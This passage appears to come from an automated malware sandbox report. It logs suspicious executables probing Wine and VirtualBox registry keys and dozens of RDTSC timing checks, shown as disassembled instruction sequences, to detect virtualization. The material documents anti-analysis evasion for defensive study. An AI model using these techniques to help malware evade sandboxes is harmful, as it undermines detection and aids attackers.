Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: AEF200 second address: AEF204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6DEE3 second address: C6DEED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF888DC1E96h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6DEED second address: C6DF02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF88929ECB8h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6DF02 second address: C6DF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6E30B second address: C6E326 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF88929ECC0h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6E326 second address: C6E32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6E32B second address: C6E335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6E5C1 second address: C6E5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6FF38 second address: C6FF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6FF3C second address: C6FF68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jp 00007FF888DC1E96h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 ja 00007FF888DC1EA7h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6FF68 second address: C6FF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6FF6C second address: C6FFAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 movsx esi, cx 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FF888DC1E98h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 call 00007FF888DC1E99h 0x0000002c push esi 0x0000002d push esi 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6FFAA second address: C6FFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6FFB7 second address: C6FFBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6FFBB second address: C6FFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C70187 second address: C70220 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF888DC1E9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d movzx ecx, di 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FF888DC1E98h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov ch, dl 0x0000002e call 00007FF888DC1E99h 0x00000033 jmp 00007FF888DC1EA9h 0x00000038 push eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b jmp 00007FF888DC1E9Ch 0x00000040 pop esi 0x00000041 pop ebx 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 jmp 00007FF888DC1EA0h 0x0000004b mov eax, dword ptr [eax] 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF888DC1EA4h 0x00000055 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C70381 second address: C70414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FF88929ECC4h 0x0000000f pop edi 0x00000010 popad 0x00000011 add dword ptr [esp], 66A770F2h 0x00000018 movsx esi, di 0x0000001b add dword ptr [ebp+122D2E85h], ecx 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007FF88929ECB8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d push 00000000h 0x0000003f add dword ptr [ebp+122D353Ch], ebx 0x00000045 movsx ecx, dx 0x00000048 push 00000003h 0x0000004a push 00000000h 0x0000004c push ebx 0x0000004d call 00007FF88929ECB8h 0x00000052 pop ebx 0x00000053 mov dword ptr [esp+04h], ebx 0x00000057 add dword ptr [esp+04h], 00000015h 0x0000005f inc ebx 0x00000060 push ebx 0x00000061 ret 0x00000062 pop ebx 0x00000063 ret 0x00000064 push B782A2FBh 0x00000069 pushad 0x0000006a jl 00007FF88929ECBCh 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C70414 second address: C70442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF888DC1E98h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d xor dword ptr [esp], 7782A2FBh 0x00000014 mov dword ptr [ebp+122D3153h], ecx 0x0000001a lea ebx, dword ptr [ebp+12454E40h] 0x00000020 mov si, BA34h 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 jo 00007FF888DC1E9Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8258B second address: C82591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C91188 second address: C911AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007FF888DC1E96h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a jg 00007FF888DC1E96h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C911AA second address: C911B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C609E5 second address: C609EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C609EB second address: C60A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF88929ECBCh 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C60A00 second address: C60A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C60A04 second address: C60A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF88929ECC7h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F29E second address: C8F2A3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F2A3 second address: C8F2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F2A9 second address: C8F2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jg 00007FF888DC1EC3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF888DC1EA1h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F45B second address: C8F45F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F6D8 second address: C8F6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF888DC1EA5h 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F6F6 second address: C8F706 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF88929ECB6h 0x00000008 jne 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F706 second address: C8F70D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8F8BF second address: C8F8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FF88929ECBDh 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8FE59 second address: C8FE5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C8FE5F second address: C8FE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9029B second address: C902A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF888DC1E96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C902A7 second address: C902B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FF88929ECBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C65AED second address: C65AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FF888DC1E96h 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C90BDB second address: C90BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9542D second address: C95435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C98035 second address: C98057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FF88929ECB6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C98057 second address: C98061 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C98061 second address: C98065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C981B3 second address: C981B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C981B7 second address: C981BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C67512 second address: C6753B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF888DC1E96h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FF888DC1E9Dh 0x00000011 pop ecx 0x00000012 pushad 0x00000013 jnc 00007FF888DC1E96h 0x00000019 jl 00007FF888DC1E96h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C6753B second address: C67548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FF88929ECB6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9C867 second address: C9C87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF888DC1E96h 0x0000000a popad 0x0000000b jnp 00007FF888DC1EA2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9C87A second address: C9C880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9C880 second address: C9C884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9C884 second address: C9C8A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF88929ECBAh 0x00000008 push edi 0x00000009 pop edi 0x0000000a jo 00007FF88929ECB6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FF88929ECB6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9CDED second address: C9CDF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9CDF5 second address: C9CE13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FF88929ECBCh 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9CE13 second address: C9CE19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0C5B second address: CA0CBD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FF88929ECBCh 0x0000000c jbe 00007FF88929ECB6h 0x00000012 popad 0x00000013 xor dword ptr [esp], 44727E7Eh 0x0000001a mov dword ptr [ebp+122D36E4h], ebx 0x00000020 call 00007FF88929ECB9h 0x00000025 jmp 00007FF88929ECBEh 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push ecx 0x0000002e pop ecx 0x0000002f pop eax 0x00000030 pushad 0x00000031 jg 00007FF88929ECB6h 0x00000037 jmp 00007FF88929ECC4h 0x0000003c popad 0x0000003d popad 0x0000003e mov eax, dword ptr [esp+04h] 0x00000042 push edx 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0CBD second address: CA0CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FF888DC1E9Ch 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0E1F second address: CA0E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0E23 second address: CA0E27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0FFB second address: CA0FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0FFF second address: CA1005 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA1005 second address: CA101C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FF88929ECB6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FF88929ECB8h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA1379 second address: CA137F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA1447 second address: CA146C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jo 00007FF88929ECB6h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA146C second address: CA1476 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA234A second address: CA23C6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECBCh 0x00000008 jnl 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FF88929ECB8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D27FCh], edi 0x00000033 push 00000000h 0x00000035 call 00007FF88929ECC0h 0x0000003a pop edi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007FF88929ECB8h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D2AD8h] 0x0000005d xchg eax, ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 push ecx 0x00000061 pop ecx 0x00000062 pop edx 0x00000063 pop eax 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA23C6 second address: CA23CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA2C7E second address: CA2C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA2C84 second address: CA2C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA2C89 second address: CA2C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA2C8F second address: CA2C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA3E92 second address: CA3E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA4600 second address: CA4605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA4605 second address: CA460F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA460F second address: CA4613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA5262 second address: CA5266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA5266 second address: CA526A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA526A second address: CA5270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA6777 second address: CA6789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF888DC1E9Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA64F5 second address: CA64F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
